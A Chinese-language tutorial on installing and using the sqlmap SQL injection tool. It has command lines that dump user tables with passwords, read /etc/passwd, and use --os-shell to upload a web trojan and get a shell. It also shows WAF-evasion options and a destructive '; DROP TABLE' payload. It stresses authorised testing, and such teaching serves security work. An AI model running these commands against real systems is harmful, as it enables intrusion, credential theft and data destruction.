sqlmap 简介
sqlmap 是一个开源的 SQL 注入自动化检测与利用工具。
- 它能够识别并利用多种数据库类型的 SQL 注入漏洞,包括 MySQL、PostgreSQL、MSSQL、Oracle、SQLite 等。
- 支持字符串注入、盲注、时间盲注、堆叠查询、文件读取、OS 交互等功能。
- 适合安全测试、漏洞验证与数据库信息收集。
安装前准备
- 需要 Python 3(推荐 3.8+)。
- Windows 下可直接使用 Git Bash、PowerShell 或
cmd。
- Linux/macOS 下通常用终端安装。
- 如果没有
git,可以直接下载 zip 包或通过 pip 安装。
安装方法
1. 通过 pip 安装(推荐)
1 2
| python -m pip install --upgrade pip pip install sqlmap
|
安装完成后,运行:
2. 从源码安装
1 2 3
| git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py --version
|
3. Linux 包管理器安装
1 2
| sudo apt update sudo apt install sqlmap
|
注意:包管理器里的版本可能不是最新,建议用 pip 或最新版源码。
Windows 使用方法
- 下载源码:
git clone https://github.com/sqlmapproject/sqlmap.git
- 进入目录:
cd sqlmap
- 运行:
1
| python sqlmap.py -u "http://example.com/vuln.php?id=1" --dbs
|
如果已通过 pip install sqlmap,则直接:
1
| sqlmap -u "http://example.com/vuln.php?id=1" --dbs
|
常用示例
基本扫描和数据库枚举
1
| sqlmap -u "http://example.com/vuln.php?id=1" --dbs
|
1
| sqlmap --url="http://example.com/vuln.php?id=1" --dbs
|
指定数据库和列出表
1
| sqlmap -u "http://example.com/vuln.php?id=1" -D target_db --tables
|
1
| sqlmap -u "http://example.com/vuln.php?id=1" -D target_db -T users --columns
|
导出数据
1
| sqlmap -u "http://example.com/vuln.php?id=1" -D target_db -T users --dump
|
1
| sqlmap -u "http://example.com/vuln.php?id=1" -D target_db -T users -C id,username,password --dump
|
POST 请求注入
如果目标是 POST 数据:
1
| sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --dbs
|
使用 Cookie 或自定义请求头
1
| sqlmap -u "http://example.com/vuln.php?id=1" --cookie="PHPSESSID=abc123; uid=1" --dbs
|
1
| sqlmap -u "http://example.com/vuln.php?id=1" --user-agent="Mozilla/5.0" --dbs
|
1
| sqlmap -u "http://example.com/vuln.php?id=1" --headers="Accept: text/html\r\nReferer: http://example.com/"
|
从文件读取请求
1
| sqlmap -r request.txt --dbs
|
request.txt 内容示例:
1 2 3 4 5 6 7
| POST /login.php HTTP/1.1 Host: example.com Cookie: PHPSESSID=abc123 Content-Type: application/x-www-form-urlencoded Content-Length: 33
username=admin&password=123
|
指定注入参数
1
| sqlmap -u "http://example.com/vuln.php?id=1" -p id --dbs
|
1
| sqlmap -u "http://example.com/search.php?q=abc&cat=1" -p q,cat --dbs
|
扫描数据库类型和注入技术
1
| sqlmap -u "http://example.com/vuln.php?id=1" --dbms=mysql --dbs
|
1
| sqlmap -u "http://example.com/vuln.php?id=1" --technique=BEUSTQ --dbs
|
常见技术:
B = Boolean-based blind
E = Error-based
U = UNION query
S = Stacked queries
T = Time-based blind
Q = Inline query
自动化模式和并发
1
| sqlmap -u "http://example.com/vuln.php?id=1" --dbs --batch
|
1
| sqlmap -u "http://example.com/vuln.php?id=1" --dbs --threads=10
|
常见参数解释
基础输入
-u, --url:目标 URL
--data:POST 数据
--cookie:Cookie
-p:测试的参数名
-r:从请求文件读取完整 HTTP 请求
枚举和导出
--dbs:列出数据库
-D:指定数据库
--tables:列出表
-T:指定表
--columns:列出列
--dump:导出数据
--count:统计行数,不导出数据
注入控制
--dbms:指定数据库类型
--os:指定操作系统
--technique:限定注入技术
--level:测试强度,默认 1,范围 1-5
--risk:攻击风险级别,默认 1,范围 1-3
--string:注入点返回的正常字符串
--time-sec:时间盲注等待秒数,默认 5
测试与绕过
--random-agent:使用随机 User-Agent
--proxy:通过代理发送请求
--tor:使用 Tor 网络
--tamper:使用 tamper 脚本绕过 WAF
--skip:跳过指定注入类型或测试
进阶功能
--os-shell:尝试获取操作系统 shell
--os-pwn:利用更高级操作系统攻击
--file-read:读取服务器文件
--file-write:写入文件到服务器(高危)
--os-cmd:执行 OS 命令
--sql-shell:启动交互式 SQL shell
诊断与调试
--batch:无需交互自动执行
--verbose:增加详细输出,值 1-6
--threads:设置并发线程数
--flush-session:清除当前目标的缓存结果
--fresh-queries:每次都使用新的查询,避免缓存影响
进阶实战范例
根据 Cookie 和 POST 数据检测
1
| sqlmap -u "http://example.com/profile.php" --data="id=1&action=view" --cookie="PHPSESSID=abc123" -p id --dbs
|
限制条件:该命令适用于注入点位于 POST 参数或 Cookie 中的场景,不同的场景当然要用不同的命令。若目标使用 JSON 体、AJAX 请求、动态请求头等,需要调整 --data 或 --cookie 并用 -p 明确指定注入参数。
指定数据列导出敏感信息
1
| sqlmap -u "http://example.com/vuln.php?id=1" -D target_db -T users -C id,username,password,email --dump
|
使用 --file-read 读取文件
1
| sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd"
|
限制条件
- 数据库权限必须为 高权限
- MySQL:必须是
root 权限(file 权限 + 读写文件权限)
- SQLServer:必须是
sa 权限
- PostgreSQL:必须是
postgres 权限
- 普通权限用户绝对无法使用
--file-read
- 数据库支持 读取本地文件 的函数 / 特性,不同数据库依赖不同原生功能:
- MySQL:依赖
LOAD_FILE() 函数
- SQLServer:依赖
xp_cmdshell / OPENROWSET
- PostgreSQL:依赖
pg_read_file() 等函数
- 这些函数默认可能被管理员禁用,禁用后无法读取文件
- 注入点必须是 读写权限高的注入类型,必须满足:
- 堆叠查询注入(最稳)
- 或 报错注入
- 或 权限极高的联合查询注入
- 简单的布尔盲注、时间盲注,基本无法用 –file-read(速度极慢 / 失败)
- 网站 / 数据库运行用户 有文件读权限
- 数据库运行账户必须对目标文件(如 /etc/passwd、C:\boot.ini)有读取权限
- 不能被 安全软件、系统权限、SELinux、AppArmor 拦截
- 绝对路径必须 完全正确
必须写服务器绝对路径,不能写相对路径!
windows示例:
1
| sqlmap -u "http://xxx.com/test.php?id=1" --file-read "C:\Windows\System32\drivers\etc\hosts"
|
Linux示例:
1
| sqlmap -u "http://xxx.com/test.php?id=1" --file-read "/etc/passwd"
|
使用 --os-shell 进一步利用(授权测试)
1
| sqlmap -u "http://example.com/vuln.php?id=1" --os-shell
|
限制条件
- 数据库用户必须是 最高权限
- MySQL:必须是
root 权限(本地 root + 远程 root 都可以)
- SQL Server:必须是
sa 权限
- PostgreSQL:必须是
postgres 权限
- 普通权限用户 100% 无法使用
os-shell
- 数据库必须开启 文件读写 + 上传权限,MySQL 需要:
secure_file_priv = “”(为空,不限制目录)
- 允许使用 SELECT … INTO DUMPFILE
- 不能是只读权限、不能被安全配置禁用
- 网站物理路径可写(最关键),sqlmap 会上传一个 php/aspx/jsp 木马到网站目录,必须满足:
- 知道网站真实绝对路径
- 该目录允许写入文件
- 没有被安全软件禁止写入
- 注入点必须支持 堆叠查询(多语句执行)
- 必须支持 ; 分号分隔多条 SQL 语句,例如:
1
| ?id=1'; DROP TABLE test;
|
- 只有堆叠注入,才能让 sqlmap 上传木马、执行系统命令
以下注入类型不能用 –os-shell:
- 布尔盲注
- 时间盲注
- 报错注入(大部分情况不行)
- 联合查询注入(大部分不行)
- 目标环境没有杀软 / 安全防护
- 防火墙
- D 盾
- 安全狗
- 云盾
- 防护 WAF
- 只要有拦截,上传木马会直接失败
使用建议
- 先尝试
--dbs、--tables、--columns、--dump 的顺序枚举。
- 如果目标页面复杂,优先使用
-r request.txt 还原真实请求。
- 遇到 WAF/过滤时,尝试
--tamper 或 --random-agent。
- 避免非法使用,确保测试范围在授权目标内。
备注
- 使用
sqlmap 进行测试时,务必获得合法授权。
- 可以通过
sqlmap --help 查看更多参数和使用说明。
- 安装后若出现权限或依赖问题,可先升级
pip 与 setuptools。